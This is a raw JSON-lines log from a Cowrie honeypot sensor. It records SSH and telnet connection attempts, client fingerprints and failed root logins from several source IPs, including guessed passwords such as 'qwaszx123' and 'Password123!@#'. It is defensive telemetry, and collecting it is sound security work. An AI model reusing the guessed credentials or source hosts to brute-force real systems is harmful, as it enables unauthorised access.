{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:ea:ed:48:07:7a:74:d5:88:65:a0:40:96:db:74:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaeR36HBvuczl5LHfJlBk4wbQjobaXFbRQ76wMD4zsK0O4Q165WpLV5fJz7cja5AeA2EDfPYFxufGkj+PUYFfM2tVRj3uaDEc0DJctd4C8YYt8cbIx5SIBcpdbMC1JPnDG767yPOZxQB+trAqnby5+LUNjpi3DNa6o34n7k1FoGMPfuxgHrjBd6igf+bP74FGz51OvTBeNjekk2XY2t5yBDb/xwPXhP5GqSZvUIYctBifRsfIWV4aKWWrgJLF8EW4h+nFQj3BiF3jkOX3aFqteXAfFiSJJV3N+HfN3NhjsLQ//43gNLM2JdK7vB+383tyDOkJfxK7saooXcEWuUHpx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:ea:ed:48:07:7a:74:d5:88:65:a0:40:96:db:74:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.741125Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:ea:ed:48:07:7a:74:d5:88:65:a0:40:96:db:74:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaeR36HBvuczl5LHfJlBk4wbQjobaXFbRQ76wMD4zsK0O4Q165WpLV5fJz7cja5AeA2EDfPYFxufGkj+PUYFfM2tVRj3uaDEc0DJctd4C8YYt8cbIx5SIBcpdbMC1JPnDG767yPOZxQB+trAqnby5+LUNjpi3DNa6o34n7k1FoGMPfuxgHrjBd6igf+bP74FGz51OvTBeNjekk2XY2t5yBDb/xwPXhP5GqSZvUIYctBifRsfIWV4aKWWrgJLF8EW4h+nFQj3BiF3jkOX3aFqteXAfFiSJJV3N+HfN3NhjsLQ//43gNLM2JdK7vB+383tyDOkJfxK7saooXcEWuUHpx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.758156Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:ed:e6:2d:94:c5:4f:75:ad:5e:d9:a1:55:d0:bb:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXn1XRNKoRdAUpLpx26I2xoQCB0KI2rM/XGBfRA/BjqAqs+s29bp5dSiwcRZ/vJ1gYJVCIsZasspH3vxxZgqdh0ttJV/h38+tgsrwBp/HAryNeX1f7uhmIArd6AT1YDODX1YRcgyq9HpF1ZkbKdpL7wvakxCG4qpXLOgnNkKzJOJKp8OdW474A3usRwOJYLiPUjo22wAJds928jrsprUALdSeuw/C6/ELgwFAYc11WR4BSjmiLOKcZkPU33Uk4t87aHIFz9tmqf3IQONumEbkXGES47x+UAdt3hHfOtOYjG0jvNzpMt6c6KFNY0ZV8OIOVM/5n5q7RQbNOKq74BOFx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:ed:e6:2d:94:c5:4f:75:ad:5e:d9:a1:55:d0:bb:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.780312Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:ed:e6:2d:94:c5:4f:75:ad:5e:d9:a1:55:d0:bb:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXn1XRNKoRdAUpLpx26I2xoQCB0KI2rM/XGBfRA/BjqAqs+s29bp5dSiwcRZ/vJ1gYJVCIsZasspH3vxxZgqdh0ttJV/h38+tgsrwBp/HAryNeX1f7uhmIArd6AT1YDODX1YRcgyq9HpF1ZkbKdpL7wvakxCG4qpXLOgnNkKzJOJKp8OdW474A3usRwOJYLiPUjo22wAJds928jrsprUALdSeuw/C6/ELgwFAYc11WR4BSjmiLOKcZkPU33Uk4t87aHIFz9tmqf3IQONumEbkXGES47x+UAdt3hHfOtOYjG0jvNzpMt6c6KFNY0ZV8OIOVM/5n5q7RQbNOKq74BOFx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.784610Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.806273Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.05150389671326,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.944437Z","src_ip":"152.42.224.71","session":"e2638ba0162a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39568,"dst_ip":"10.17.0.5","dst_port":23,"session":"38a69bb21f2c","protocol":"telnet","message":"New connection: 152.42.224.71:39568 (10.17.0.5:23) [session: 38a69bb21f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:57.915316Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":48398,"dst_ip":"10.17.0.5","dst_port":22,"session":"347c4a47db7a","protocol":"ssh","message":"New connection: 103.75.183.219:48398 (10.17.0.5:22) [session: 347c4a47db7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:59.432873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:59.438088Z","src_ip":"103.75.183.219","session":"347c4a47db7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:59.682806Z","src_ip":"103.75.183.219","session":"347c4a47db7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"metallica","message":"login attempt [root/metallica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:00.411674Z","src_ip":"103.75.183.219","session":"347c4a47db7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":43600,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3ea1cfc1e91","protocol":"ssh","message":"New connection: 103.149.170.125:43600 (10.17.0.5:22) [session: e3ea1cfc1e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:01.398683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:01.404108Z","src_ip":"103.149.170.125","session":"e3ea1cfc1e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:01.657018Z","src_ip":"103.75.183.219","session":"347c4a47db7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:01.675268Z","src_ip":"103.149.170.125","session":"e3ea1cfc1e91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hjccbz","message":"login attempt [root/hjccbz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:02.485156Z","src_ip":"103.149.170.125","session":"e3ea1cfc1e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:03.762849Z","src_ip":"103.149.170.125","session":"e3ea1cfc1e91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41690,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b5a122ad9d","protocol":"telnet","message":"New connection: 152.42.224.71:41690 (10.17.0.5:23) [session: d6b5a122ad9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:06.133206Z"}
{"eventid":"cowrie.session.closed","duration":96.15662837028503,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:08.995807Z","src_ip":"152.42.224.71","session":"41b3a0d5c963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40202,"dst_ip":"10.17.0.5","dst_port":23,"session":"8750b822ff25","protocol":"telnet","message":"New connection: 152.42.224.71:40202 (10.17.0.5:23) [session: 8750b822ff25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:29.843835Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40212,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b0aee82646c","protocol":"telnet","message":"New connection: 152.42.224.71:40212 (10.17.0.5:23) [session: 6b0aee82646c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:30.131179Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40226,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ed8d55cff58","protocol":"telnet","message":"New connection: 152.42.224.71:40226 (10.17.0.5:23) [session: 5ed8d55cff58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:31.533360Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40242,"dst_ip":"10.17.0.5","dst_port":23,"session":"d03f6e0ba91d","protocol":"telnet","message":"New connection: 152.42.224.71:40242 (10.17.0.5:23) [session: d03f6e0ba91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:34.217242Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55586,"dst_ip":"10.17.0.5","dst_port":22,"session":"48d5b3d059df","protocol":"ssh","message":"New connection: 51.250.105.222:55586 (10.17.0.5:22) [session: 48d5b3d059df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:34.834977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:34.840261Z","src_ip":"51.250.105.222","session":"48d5b3d059df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:34.970489Z","src_ip":"51.250.105.222","session":"48d5b3d059df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwaszx123","message":"login attempt [root/qwaszx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:35.348012Z","src_ip":"51.250.105.222","session":"48d5b3d059df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:36.477260Z","src_ip":"51.250.105.222","session":"48d5b3d059df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54020,"dst_ip":"10.17.0.5","dst_port":23,"session":"b53e9602cc9b","protocol":"telnet","message":"New connection: 152.42.224.71:54020 (10.17.0.5:23) [session: b53e9602cc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:38.693135Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54036,"dst_ip":"10.17.0.5","dst_port":23,"session":"f95f76400444","protocol":"telnet","message":"New connection: 152.42.224.71:54036 (10.17.0.5:23) [session: f95f76400444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:39.425492Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54050,"dst_ip":"10.17.0.5","dst_port":23,"session":"0519753a975f","protocol":"telnet","message":"New connection: 152.42.224.71:54050 (10.17.0.5:23) [session: 0519753a975f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:39.883793Z"}
{"eventid":"cowrie.session.closed","duration":42.236109018325806,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:40.151267Z","src_ip":"152.42.224.71","session":"38a69bb21f2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54054,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f21e483d768","protocol":"telnet","message":"New connection: 152.42.224.71:54054 (10.17.0.5:23) [session: 7f21e483d768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:44.098433Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39216,"dst_ip":"10.17.0.5","dst_port":23,"session":"1958a62cb1e2","protocol":"telnet","message":"New connection: 152.42.224.71:39216 (10.17.0.5:23) [session: 1958a62cb1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:47.012202Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39226,"dst_ip":"10.17.0.5","dst_port":23,"session":"61cd0eebad14","protocol":"telnet","message":"New connection: 152.42.224.71:39226 (10.17.0.5:23) [session: 61cd0eebad14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:50.210970Z"}
{"eventid":"cowrie.session.closed","duration":46.9650764465332,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:53.098134Z","src_ip":"152.42.224.71","session":"d6b5a122ad9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":36158,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecec8c82e8ed","protocol":"ssh","message":"New connection: 103.75.182.198:36158 (159.203.135.109:22) [session: ecec8c82e8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:54.640747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:54.648338Z","src_ip":"103.75.182.198","session":"ecec8c82e8ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39234,"dst_ip":"10.17.0.5","dst_port":23,"session":"827ad848a418","protocol":"telnet","message":"New connection: 152.42.224.71:39234 (10.17.0.5:23) [session: 827ad848a418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:54.661055Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:54.895721Z","src_ip":"103.75.182.198","session":"ecec8c82e8ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456123","message":"login attempt [root/456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:55.630823Z","src_ip":"103.75.182.198","session":"ecec8c82e8ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55092,"dst_ip":"10.17.0.5","dst_port":23,"session":"450879bfe4fb","protocol":"telnet","message":"New connection: 152.42.224.71:55092 (10.17.0.5:23) [session: 450879bfe4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:56.381845Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:50:56.878185Z","src_ip":"103.75.182.198","session":"ecec8c82e8ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.37176060676575,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:02.151439Z","src_ip":"152.42.224.71","session":"a55a6f854d40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":38372,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa2c52653a84","protocol":"ssh","message":"New connection: 167.86.95.8:38372 (10.17.0.5:22) [session: fa2c52653a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:02.231633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:02.247279Z","src_ip":"167.86.95.8","session":"fa2c52653a84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:02.351106Z","src_ip":"167.86.95.8","session":"fa2c52653a84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123!@#","message":"login attempt [root/Password123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:02.802381Z","src_ip":"167.86.95.8","session":"fa2c52653a84","protocol":"ssh"}
